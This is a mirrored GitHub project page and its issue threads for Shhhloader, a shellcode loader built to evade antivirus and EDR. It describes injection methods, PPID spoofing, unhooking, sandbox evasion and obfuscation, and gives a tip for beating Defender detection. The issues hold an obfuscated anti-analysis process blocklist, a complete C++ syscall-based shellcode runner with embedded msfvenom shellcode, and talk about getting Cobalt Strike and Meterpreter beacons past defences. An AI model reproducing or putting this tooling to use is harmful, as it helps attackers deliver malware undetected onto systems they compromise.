Giter VIP home page Giter VIP logo

shhhloader's Introduction

Shhhloader

Shhhloader is a work in progress shellcode loader. It takes raw shellcode as input and compiles a C++ stub that does a bunch of different things to try and bypass AV/EDR. The included python builder will work on any Linux system that has Mingw-w64 installed.

1/25/24 EDIT: Shhhloader now supports PoolParty variant 7! An option was also added that will combine PoolParty with Module Stomping to prevent the executed shellcode from residing in unbacked memory. See below for a video demonstrating this new injection method against Defender ATP:

See Video
Shhhloader_PoolPartyModuleStomping_vs_Defender_ATP.mp4
┳┻|
┻┳|
┳┻|
┻┳|
┳┻| _
┻┳| •.•)  - Shhhhh, AV might hear us! 
┳┻|⊂ノ   
┻┳|
usage: Shhhloader.py [-h] [-p explorer.exe] [-m QueueUserAPC] [-u] [-w] [-nr] [-ns] [-l] [-v] [-sc GetSyscallStub] [-d] [-dp apphelp.dll] [-s domain]
                     [-sa testlab.local] [-o a.exe] [-pp explorer.exe] [-ppv] [-np] [-cp] [-td ntdll.dll] [-ef NtClose]
                     file

ICYGUIDER'S CUSTOM SYSCALL SHELLCODE LOADER

positional arguments:
  file                  File containing raw shellcode

options:
  -h, --help            show this help message and exit
  -p explorer.exe, --process explorer.exe
                        Process to inject into (Default: explorer.exe)
  -m QueueUserAPC, --method QueueUserAPC
                        Method for shellcode execution (Options: PoolPartyModuleStomping, PoolParty, ThreadlessInject, ModuleStomping, QueueUserAPC,
                        ProcessHollow, EnumDisplayMonitors, RemoteThreadContext, RemoteThreadSuspended, CurrentThread) (Default: QueueUserAPC)
  -u, --unhook          Unhook NTDLL in current process
  -w, --word-encode     Save shellcode in stub as array of English words
  -nr, --no-randomize   Disable syscall name randomization
  -ns, --no-sandbox     Disable sandbox checks
  -l, --llvm-obfuscator
                        Use Obfuscator-LLVM to compile stub
  -v, --verbose         Enable debugging messages upon execution
  -sc GetSyscallStub, --syscall GetSyscallStub
                        Syscall execution method (Options: SysWhispers2, SysWhispers3, GetSyscallStub, None) (Default: GetSyscallStub)
  -d, --dll             Generate a DLL instead of EXE
  -dp apphelp.dll, --dll-proxy apphelp.dll
                        Create Proxy DLL using supplied legitimate DLL (File must exist in current dir)
  -s domain, --sandbox domain
                        Sandbox evasion technique (Options: sleep, domain, hostname, username, dll) (Default: sleep)
  -sa testlab.local, --sandbox-arg testlab.local
                        Argument for sandbox evasion technique (Ex: WIN10CO-DESKTOP, testlab.local)
  -o a.exe, --outfile a.exe
                        Name of compiled file

PPID Spoofing:
  -pp explorer.exe, --ppid explorer.exe
                        Parent process to use for PPID Spoofing (Default: explorer.exe)
  -ppv, --ppid-priv     Enable spoofing for privileged parent process (Disabled by default)
  -np, --no-ppid-spoof  Disable PPID spoofing

ThreadlessInject:
  -cp, --create-process
                        Create process instead of injecting into existing one
  -td ntdll.dll, --target-dll ntdll.dll
                        Target DLL containing export function to overwrite
  -ef NtClose, --export-function NtClose
                        Export function to overwrite

Features:

  • 10 Different Shellcode Execution Methods (PoolParty, PoolPartyModuleStomping, ThreadlessInject, ModuleStomping, QueueUserAPC, ProcessHollow, EnumDisplayMonitors, RemoteThreadContext, RemoteThreadSuspended, CurrentThread)
  • PPID Spoofing
  • Block 3rd Party DLLs
  • Unhook NTDLL via KnownDLLs
  • SysWhispers2, SysWhispers3, & GetSyscallStub
  • API Hashing for SW2 & SW3
  • Compile-Time String Encryption
  • Obfuscator-LLVM (OLLVM) Support
  • Automatic DLL Proxy Generation
  • Havoc C2 Framework Integration
  • Syscall Name Randomization
  • Store Shellcode as English Word Array
  • XOR Encoding with Dynamic Key Generation
  • Sandbox Evasion via Loaded DLL, Domain, User, Hostname, and System Enumeration

See below for a PoC video of the ThreadlessInject method being used to inject a Havoc beacon into IE without generating any alerts and minimal events in Microsoft Defender for Endpoint (MDE) EDR (Recorded 4/3/2023):

See Video
Shhhloader_ThreadlessInject_vs_Microsoft_Defender_for_Endpoint.mp4

See below video demonstrating the Module Stomping injection technique executed via DLL Proxying (Recorded 8/9/2022):

See Video
Shhhloader_Module_Stomping_DLL_Proxying.mp4

Shhhloader has also been integrated into the Havoc C2 Framework via a module by @jakobfriedl. See below for a video demonstrating the module:

See Video
Shhhavoc_Demo.mp4

Known Issues/Notes:

  • The PoolParty injection methods are currently configured to inject into and existing process. Therefore, you must use the -p flag to supply the name of a process that you know or suspect is already running on the target system.
  • The PoolParty injection methods will not work with large shellcode files like sliver (~11MB).
  • The ThreadlessInject shellcode execution method must currently inject into a non-suspended process. This is done automatically for you if the "-cp" option is supplied. I hope to figure out a way to get it working with suspended processes soon.
  • The Havoc C2 module currently hangs when specifying a Listener instead of a raw shellcode file. This will be fixed soon hopefully.
  • Windows Defender will detect most files generated by this tool, so please do not post an issue saying "DETECTED!!!". Play around with the new options and features until you get something that works; they were added for a reason :). Executing the generated file in memory is also a good way to evade these detections.
  • Obfuscator-LLVM (OLLVM) is not compatible with SW2 & SW3 due to how clang handles inline assembly. There is currently no plan to make them compatible; checks have been added to prevent the user from trying to use these features together.
  • There are a ton of bugs in my code. Please test everything in advance before using for something important, and PLEASE provide as much information as possible when opening an issue. (THANKS!)

Planned Updates:

  • Hardware Breakpoint (HWBP) syscall option
  • Create processess using syscall instead of standard WinAPI function
  • Integrate ThreadlessInject with other shellcode injection techniques (Ex. ModuleStomping)
  • Refactor code to be more modular and readable
  • Fix bugs in Havoc C2 module
  • Fix countless bugs by learning to program better ;)

OPTIONAL: To use the Obfuscator-LLVM flag, you must have it installed on your system alongside wclang. I've found this to be a bit of a pain but you should be able to do it with a little perseverance. Here's a step-by-step that I used to install the llvm-13.x branch of OLLVM on my Kali Linux system:

See Details
# Clone and Run CMake
git clone -b llvm-13.x https://github.com/heroims/obfuscator.git
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_ENABLE_NEW_PASS_MANAGER=OFF ../obfuscator/llvm/

# Configure CMake and Compile OLLVM
export clang_build_dir=$(cd ../; pwd)/obfuscator/clang
sed -i 's/LLVM_TOOL_CLANG_BUILD:BOOL=OFF/LLVM_TOOL_CLANG_BUILD:BOOL=ON/g' CMakeCache.txt
sed -i "s|LLVM_EXTERNAL_CLANG_SOURCE_DIR:PATH=|LLVM_EXTERNAL_CLANG_SOURCE_DIR:PATH=$clang_build_dir|g" CMakeCache.txt
make -j7

# ONCE COMPILED, BACKUP ORIGINAL CLANG BINARIES
mv /usr/bin/clang /usr/bin/clang13.0.1
mv /usr/bin/clang++ /usr/bin/clang++13.0.1

# Then in OLLVM build/bin dir, copy the newly build clang bins
cp bin/clang /usr/bin/clang
cp bin/clang++ /usr/bin/clang++

# Then install wclang
cd ..
git clone https://github.com/tpoechtrager/wclang.git
cd wclang/
cmake -DCMAKE_INSTALL_PREFIX=_prefix_ .
make
make install
export wclang_path=$(pwd)/_prefix_/bin
echo "export PATH=$wclang_path:$PATH" >> ~/.bashrc
export PATH=$wclang_path:$PATH

# Then backup original lib files
cp -R /lib/llvm-13/lib/clang/13.0.1/include/ /lib/llvm-13/lib/clang/13.0.1/include_backup/

# Finally in the OLLVM build/bin/lib/clang/13.0.1/ dir, copy the include folder
cd ../build/lib/clang/13.0.1/
cp -R include/ /lib/llvm-13/lib/clang/13.0.1/

There is probably a better way to do this but this is what worked for me. If you have issues, just keep trying and ensure that you can run x86_64-w64-mingw32-clang++ -v and it contains either "Obfuscator-LLVM" or "heroims" in the output. Unfortunately I do not have the time to assist individuals who may need more help, but you can try reading this issue on my Nimcrypt2 repo where a couple of users figured out how to do it on their systems.

Greetz & Credit:

shhhloader's People

Contributors

icyguider avatar jakobfriedl avatar snovvcrash avatar tomkallo avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

shhhloader's Issues

Feature Suggestion - Anti Debug Tools Feature

It would be great to have a feature that searches through the running processes and if any debug process is present it doesnt inject the shellcode, something similar to this:

bool analysis_tools_running() {
    char* analysis_processes[] = {
        AY_OBFUSCATE("vmware.exe"),
        AY_OBFUSCATE("ollydbg.exe"),			// OllyDebug debugger
        AY_OBFUSCATE("ProcessHacker.exe"),	// Process Hacker
        AY_OBFUSCATE("tcpview.exe"),			// Part of Sysinternals Suite
        AY_OBFUSCATE("autoruns.exe"),			// Part of Sysinternals Suite
        AY_OBFUSCATE("autorunsc.exe"),		// Part of Sysinternals Suite
        AY_OBFUSCATE("filemon.exe"),			// Part of Sysinternals Suite
        AY_OBFUSCATE("procmon.exe"),			// Part of Sysinternals Suite
        AY_OBFUSCATE("regmon.exe"),			// Part of Sysinternals Suite
        AY_OBFUSCATE("procexp.exe"),			// Part of Sysinternals Suite
        AY_OBFUSCATE("idaq.exe"),				// IDA Pro Interactive Disassembler
        AY_OBFUSCATE("idaq64.exe"),			// IDA Pro Interactive Disassembler
        AY_OBFUSCATE("ImmunityDebugger.exe"), // ImmunityDebugger
        AY_OBFUSCATE("Wireshark.exe"),		// Wireshark packet sniffer
        AY_OBFUSCATE("dumpcap.exe"),			// Network traffic dump tool
        AY_OBFUSCATE("HookExplorer.exe"),		// Find various types of runtime hooks
        AY_OBFUSCATE("ImportREC.exe"),		// Import Reconstructor
        AY_OBFUSCATE("PETools.exe"),			// PE Tool
        AY_OBFUSCATE("LordPE.exe"),			// LordPE
        AY_OBFUSCATE("SysInspector.exe"),		// ESET SysInspector
        AY_OBFUSCATE("proc_analyzer.exe"),	// Part of SysAnalyzer iDefense
        AY_OBFUSCATE("sysAnalyzer.exe"),		// Part of SysAnalyzer iDefense
        AY_OBFUSCATE("sniff_hit.exe"),		// Part of SysAnalyzer iDefense
        AY_OBFUSCATE("windbg.exe"),			// Microsoft WinDbg
        AY_OBFUSCATE("joeboxcontrol.exe"),	// Part of Joe Sandbox
        AY_OBFUSCATE("joeboxserver.exe"),		// Part of Joe Sandbox
        AY_OBFUSCATE("joeboxserver.exe"),		// Part of Joe Sandbox
        AY_OBFUSCATE("ResourceHacker.exe"),	// Resource Hacker
        AY_OBFUSCATE("x32dbg.exe"),			// x32dbg
        AY_OBFUSCATE("x64dbg.exe"),			// x64dbg
        AY_OBFUSCATE("Fiddler.exe"),			// Fiddler
        AY_OBFUSCATE("httpdebugger.exe"), };

    for (int i = 0; i < 32; i++) {
        if (getFirstFilteredProcess((unsigned char*)analysis_processes[i]) > 0) {
            //printf("check if tool %s is running\n", analysis_processes[i]);
            return true;
        }
    }
    return false;

}

Note that it is using the AY_OBFUSCATE function from (https://github.com/adamyaxley/Obfuscate). My concern here would be implementing it being compatible with all possible unhooks, since this would differ from NTDLL.dll unhooking to Syswhispers2-3

OLLVM Errors

Hey man,

Getting some OLLVM errors, wonder if you have any tips?

[+] Using Obfuscator-LLVM to compile stub...
In file included from stub.cpp:4:
In file included from /usr/x86_64-w64-mingw32/include/windows.h:69:
In file included from /usr/x86_64-w64-mingw32/include/windef.h:9:
In file included from /usr/x86_64-w64-mingw32/include/minwindef.h:163:
In file included from /usr/x86_64-w64-mingw32/include/winnt.h:1555:
In file included from /usr/bin/../lib/clang/14.0.6/include/x86intrin.h:15:
In file included from /usr/bin/../lib/clang/14.0.6/include/immintrin.h:26:
In file included from /usr/bin/../lib/clang/14.0.6/include/xmmintrin.h:3009:
/usr/bin/../lib/clang/14.0.6/include/emmintrin.h:2378:19: error: use of undeclared identifier '__builtin_elementwise_max'
  return (__m128i)__builtin_elementwise_max((__v8hi)__a, (__v8hi)__b);
                  ^
/usr/bin/../lib/clang/14.0.6/include/emmintrin.h:2398:19: error: use of undeclared identifier '__builtin_elementwise_max'
  return (__m128i)__builtin_elementwise_max((__v16qu)__a, (__v16qu)__b);
                  ^
/usr/bin/../lib/clang/14.0.6/include/emmintrin.h:2418:19: error: use of undeclared identifier '__builtin_elementwise_min'
  return (__m128i)__builtin_elementwise_min((__v8hi)__a, (__v8hi)__b);
                  ^
/usr/bin/../lib/clang/14.0.6/include/emmintrin.h:2438:19: error: use of undeclared identifier '__builtin_elementwise_min'
  return (__m128i)__builtin_elementwise_min((__v16qu)__a, (__v16qu)__b);

Thanks!

CheckSandBox Error!

When I enable the checksandbox option, the program does not execute properly and crashes. However, when I disable the checksandbox option, the program runs normally. Upon analyzing the program with IDA, I found that the syscall function instruction before getting the function address is blank. Can the author please check the code to see if there are any issues?

RemoteThreadContext build issue v1.6.3

"python Shhhloader.py -p notepad.exe /home/kali/binaryv3.bin -o test22.exe -ns -np -w -m RemoteThreadContext" I get the following error.

Error:

[+] ICYGUIDER'S CUSTOM SYSCALL SHELLCODE LOADER
[+] Storing shellcode as english word list
[+] Using notepad.exe for RemoteThreadContext injection
[+] Using GetSyscallStub for syscalls
[+] PPID Spoofing has been disabled
[+] Sandbox checks have been disabled
[+] Randomizing syscall names
[+] Saved new stub to stub.cpp
[+] Compiling new stub...
stub.cpp: In function ‘int main()’:
stub.cpp:489:5: error: ‘REPLACE_ME_SANDBOX_CALL’ was not declared in this scope
489 | REPLACE_ME_SANDBOX_CALL
| ^~~~~~~~~~~~~~~~~~~~~~~
[!] Stub compilation failed! Something went wrong!

python2 conversion

Hi there! I am running your script in a py2 environment which I had to change the following line into this:

test = ''.join(chr(ord(test) ^ ord(key[i])))

which breaks every thing. Do you have any opinion on this?
Cheers!

Unable to execute Mimikatz's shellcode

Hi,
I've played around with the tool since its first release and I really must say that you and your contributors have done a really great job. The tool works fine with CS/Metasploit shellcodes, however it doesn't work with Mimikatz's shellcode (generated from Donut). It does compile successfully, but there is no output displayed when executed (no crashes at all, just no output). I've seen this type of behaviour on other tools as well, maybe it is because of the generated shellcode itself as it is 1.4 million bytes long 🤔

Looking forward to your answer :)

Shhhloader PrivEsc issues

I've had issues with getting a successful privilege escalation with a Shhhloader payload. I've tried this with Meterpreter and Cobalt Strike beacons, and I've tried it for DLL Hijacking and Service Binary Hijacking. I also changed the process from explore.exe to rundll32.exe. It doesn't get any callbacks on Meterpreter. I'll get a callback on CS, but it's always in a normal user session. Is there a reason for this?

generated DLL compiled successfully, but cannot connect to C2.

generated EXE is being killed by Windows Defender, so I tried to generate a DLL instead. The DLL was generated successfully, but it cannot connect to C2. I also tried testing it using rundll32, but it didn't work. How can I generate a DLL? I used the "-d" parameter to generate the DLL.

image

I used the same parameters except for "-d" to generate the program, which can connect to C2. However, the generated DLL cannot connect to C2.

Nothing happening after execution

I ran a.exe which gave the output below

C:\Users\Owner\Desktop>a.exe
Please wait 60 seconds...
Sandbox checks passed
BmYWYfkkvlqksdNtwyY allocated memory in the created process sucessfully.
HfpzmjAeuwxQmkSieXa wrote decoded payload to allocated memory successfully.
qrBQdSNtxbRECojvfHy modified permissions successfully.
rHfBLbcISKJDozRNIFR added routine to APC queue successfully.
UZFbZWgXqWWWHZjWNnp resumed thread successfully.

After that nothing happened the command i used with Shhhloader was ./Shhhloader.py raw.bin -p explorer.exe -v -sc SysWhispers3 also tried ./Shhhloader.py raw.bin -p explorer.exe -v and ./Shhhloader.py raw.bin -p explorer.exe -cp -v -sc SysWhispers3 none of them worked

Edit: payload was generated using msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=56864 -f raw > raw.bin

OLLVM really working?

Hey man,

I compiled one with OLLVM, and one without. The outputs look similar in a graph within Binary Ninja...?

Any idea? Does it do that for you?

Using -sc SysWhispers2 or SysWhispers3 with OLLVM causes compile errors.

Using -sc SysWhispers2 or SysWhispers3 with OLLVM causes compile errors. OLLVM installed according to instructions given on readme page for project.

Confirm OLLVM install is correct:

x86_64-w64-mingw32-clang++ -v                                            
clang version 13.0.1 (https://github.com/heroims/obfuscator.git 650605883b290ee835b1a00904d67efb0c32a311)
Target: x86_64-w64-windows-gnu
Thread model: posix
InstalledDir: /usr/bin

Confirmed working with option -u (unhook) and with -sc GetSyscallStub

Example error output:


python3 Shhhloader.py -l -ns -o test.exe -sc SysWhispers3 testshell.bin
┳┻|
┻┳|
┳┻|
┻┳|
┳┻| _
┻┳| •.•)  - Shhhhh, AV might hear us! 
┳┻|⊂ノ   
┻┳|
[+] ICYGUIDER'S CUSTOM SYSCALL SHELLCODE LOADER
[+] Using explorer.exe for QueueUserAPC injection
[+] Using SysWhispers3 for syscalls
[+] Re-hashing API syscalls
[+] Sandbox checks have been disabled
[+] Randomizing syscall names
[+] Saved new stub to stub.cpp
[+] Compiling new stub...
[+] Using Obfuscator-LLVM to compile stub...
<inline asm>:2:9: error: brackets expression not supported on this target
    mov [rsp +8], rcx
        ^
<inline asm>:3:9: error: brackets expression not supported on this target
    mov [rsp+16], rdx
        ^
<inline asm>:4:9: error: brackets expression not supported on this target
    mov [rsp+24], r8
        ^
<inline asm>:5:9: error: brackets expression not supported on this target
    mov [rsp+32], r9
        ^
<inline asm>:6:5: error: unknown use of instruction mnemonic without a size suffix
    sub rsp, 0x28
    ^
<inline asm>:7:5: error: unknown use of instruction mnemonic without a size suffix
    mov ecx, 0x0922F8DBF
    ^
<inline asm>:9:5: error: unknown use of instruction mnemonic without a size suffix
    mov r15, rax
    ^
<inline asm>:10:5: error: unknown use of instruction mnemonic without a size suffix
    mov ecx, 0x0922F8DBF
    ^
<inline asm>:12:5: error: unknown use of instruction mnemonic without a size suffix
    add rsp, 0x28
    ^
<inline asm>:13:14: error: brackets expression not supported on this target
    mov rcx, [rsp+8]
             ^
<inline asm>:14:14: error: brackets expression not supported on this target
    mov rdx, [rsp+16]
             ^
<inline asm>:15:13: error: brackets expression not supported on this target
    mov r8, [rsp+24]
            ^
<inline asm>:16:13: error: brackets expression not supported on this target
    mov r9, [rsp+32]
            ^
<inline asm>:17:5: error: unknown use of instruction mnemonic without a size suffix
    mov r10, rcx
    ^
<inline asm>:20:9: error: brackets expression not supported on this target
    mov [rsp +8], rcx
        ^
<inline asm>:21:9: error: brackets expression not supported on this target
    mov [rsp+16], rdx
        ^
<inline asm>:22:9: error: brackets expression not supported on this target
    mov [rsp+24], r8
        ^
<inline asm>:23:9: error: brackets expression not supported on this target
    mov [rsp+32], r9
        ^
<inline asm>:24:5: error: unknown use of instruction mnemonic without a size suffix
    sub rsp, 0x28
    ^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
[!] Stub compilation failed! Something went wrong!

Tested on Kali and Linux Mint. Similar results on both.

Issue with some injection methods for DLL

Hi.
I'm trying a Cobalt Strike (4.7) x64 stageless shellcode, and facing some issues against a Win10 machine with:

  • GetSyscallStub option. When used, I get no beacon
  • EnumDisplayMonitors or ModuleStomping options. When used, I get no beacon

The only option that works for me is using default 'QueueUserAPC' without GetSyscallStub.
Are you aware of these limitations or am I doing something wrong ? My AV is disabled for test purposes and I don't have any EDR either

Thanks

AMSI bypass gone?

In the newest version the -a flag is gone. Is that a feature which will be returning to future versions?

CurrentThread

hi

so i managed to only get a cobalt beacon back when using CurrentThread method. i am not sure why the other methods are not working. if you can explain the steps to help. you debug it i will be happy to assist.

OS Name: Microsoft Windows 10 Enterprise
OS Version: 10.0.18363 N/A Build 18363

av detection

python3 Shhhloader.py beacon_x64.bin -p explorer.exe -sc SysWhispers3 -o pampam1.exe

6/26 - avast, avira, nod32, fsecure, kis, zonealarm

Error FAILED to allocate memory in the current process, exiting: c000000d

Hey. For me only ProcessHollow works as shellcode execution method.

For all the other methods I receive an error while running the generated exe.

Generating:

python Shhhloader.py  -p notepad.exe    Payload.raw   -v

┳┻|
┻┳|
┳┻|
┻┳|
┳┻| _
┻┳| •.•)  - Shhhhh, AV might hear us!
┳┻|⊂ノ
┻┳|
[+] ICYGUIDER'S CUSTOM SYSWHISPERS SHELLCODE LOADER
[+] Using notepad.exe for QueueUserAPC injection
[+] Randomizing syscall names
[+] Verbose messages enabled
[+] Saved new stub to stub.cpp
[+] Compiling new stub...
[!] a.exe has been compiled successfully!

Running:

Please wait 60 seconds...
Sandbox checks passed
hiqPjIRXkVUORsAylux FAILED to allocate memory in the current process, exiting: c000000d

:-(

Injecting in explorer.exe or notepad.exe doesn't make a difference.

Edit:

I traced it down to syscall to NtAllocateVirtualMemory.
The return value is:

RAX 00000000C000000D STATUS_INVALID_PARAMETER

Please help!

msfvenom alternatives [question]

Hi @icyguider ! hope you are doing well.
I am re-creating a tool like msfvenom using python, and in the process I am dealing with some problems related to the design complexity of msfvenom.
Do you have any suggestion for me on open-source stuff which would help me achieve such a task?
I have already seen projects such as Veil or OWASP ZSC, but these tools are not active any more.
Cheers!

Shhhavoc Module Not Working

Cool tool!

Can't get the new Shhhavoc script to load though. Import from /opt/Shhhloader/Shhhavoc.py but nothing appears on the menu.

Are there dependencies for this script?

Running script natively from command won't run as it tries to import 'havocui' which doesn't exist. I can't actually even find this python module anywhere.

I'm running havoc on Kali 2023.4 which actually ships with havoc as a standard apt install. Not sure if this has impacted the scripts ability to run, given prior to Kali 2023.4 Havoc had to be built from source. Or if they changed API.

Then again I could be crazy and doing something stupid

x86_64-w64-mingw32-clang++: not found

+] ICYGUIDER'S CUSTOM SYSCALL SHELLCODE LOADER
[+] Storing shellcode as english word list
[+] Using c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe for ModuleStomping
[+] Using GetSyscallStub for syscalls
[+] Using domain enumeration for sandbox evasion
[+] Generating DLL instead of exe
[+] Randomizing syscall names
[+] Saved new stub to stub.cpp
[+] Compiling new stub...
[+] Using Obfuscator-LLVM to compile stub...
sh: 1: x86_64-w64-mingw32-clang++: not found
[!] Stub compilation failed! Something went wrong!

Any suggestions?

PE's console issue

I tried to combine https://github.com/EgeBalci/amber and your tool ( which is awesome ) for mimikatz
Once the .exe has been generated, i execute it, but nothing happens.. probably because the console part got lost somehow
Can you please take a look at it? ( if i execute just the shellcode of the .bin generate from amber it works fine )

Command line used:
./amber -f ../mimigo.exe -v -e 3 --iat -l 2
python3 Shhhloader.py -p explorer.exe --sandbox sleep -v -o a.exe ../mimigo.exe.bin

Detected

All injection method detected Defender

win7 sp1 or windows server 2008 Test failed can you help me?

  • os: Windows 7 sp 1
//generate payload
msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
//source code

#define _WIN32_WINNT 0x0600
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include "Syscalls2.h"
#ifndef UNICODE  
typedef std::string String;
#else
typedef std::wstring String;
#endif


unsigned char shellcode[276] = {
0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,
0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,
0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,
0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,
0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,
0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,
0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,
0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,
0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,
0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,
0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,
0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,
0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,
0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,
0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,
0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,
0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,
0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,
0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,
0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,
0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,
0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,
0x01,0x01,0x00,0x00,0x41,0xBA,0x31,0x8B,
0x6F,0x87,0xFF,0xD5,0xBB,0xF0,0xB5,0xA2,
0x56,0x41,0xBA,0xA6,0x95,0xBD,0x9D,0xFF,
0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,
0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,
0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,
0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x2E,
0x65,0x78,0x65,0x00,
};

int main()
{
    
    HANDLE hProc = GetCurrentProcess();
    DWORD oldprotect = 0;
    PVOID base_addr = NULL;
    HANDLE thandle = NULL;
    SIZE_T bytesWritten;
    size_t shellcodeSize = sizeof(shellcode) / sizeof(shellcode[0])+1;
    NTSTATUS res = NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (res != 0){
        std::cout << "NtAllocateVirtualMemory FAILED to allocate memory in the current process, exiting: " << std::hex << res << std::endl;
        return 0;
    }
    else {
        std::cout << "NtAllocateVirtualMemory allocated memory in the current process sucessfully." << std::endl;
    }
    res = NtWriteVirtualMemory(hProc, base_addr, shellcode, shellcodeSize, &bytesWritten);
    if (res != 0){
        std::cout << "NtWriteVirtualMemory FAILED to write decoded payload to allocated memory: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtWriteVirtualMemory wrote decoded payload to allocated memory successfully." << std::endl;
    }
    res = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&shellcodeSize, PAGE_NOACCESS, &oldprotect);
    if (res != 0){
        std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
    }
    res = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, TRUE, 0, 0, 0, NULL);

    if (res != 0){
        std::cout << "NtCreateThreadEx FAILED to create thread in current process: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtCreateThreadEx created thread in current process successfully." << std::endl;
    }
    res = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&shellcodeSize, PAGE_EXECUTE_READ, &oldprotect);

    if (res != 0){
        std::cout << "NtProtectVirtualMemory FAILED to modify permissions: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtProtectVirtualMemory modified permissions successfully." << std::endl;
    }
    res = NtResumeThread(thandle, 0);
    if (res != 0){
        std::cout << "NtResumeThread FAILED to resume created thread: " << std::hex << res << std::endl;
        return 0;
    }
    else{
        std::cout << "NtResumeThread resumed created thread successfully." << std::endl;
    }
    res = NtWaitForSingleObject(thandle, -1, NULL);   
}
//build
x86_64-w64-mingw32-g++ stub.cpp -w -masm=intel -fpermissive -static -lpsapi -Wl,--subsystem,console -o a.exe

The test is successful in win7 and above

The output of win7 or windows 2008 is as follows

NtAllocateVirtualMemory allocated memory in the current process sucessfully.
NtWriteVirtualMemory wrote decoded payload to allocated memory successfully.
NtProtectVirtualMemory modified permissions successfully.
NtCreateThreadEx created thread in current process successfully.
NtProtectVirtualMemory modified permissions successfully.
NtResumeThread FAILED to resume created thread: c0000022

Beacon not showing

I've played a lot with the features and none of them make a successful beacon on Havoc.

I've tried the command on the POC video, a modified version from that POC video (using QueueUserAPC), and this python3 Shhhloader.py -m ThreadlessInject -sc none -s domain -sa testlab.local -o maoar.exe -cp lomie.bin

kali linux 2022.1

It throws out the error like this:sh: 1: x86_64-w64-mingw32-g++: not found

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

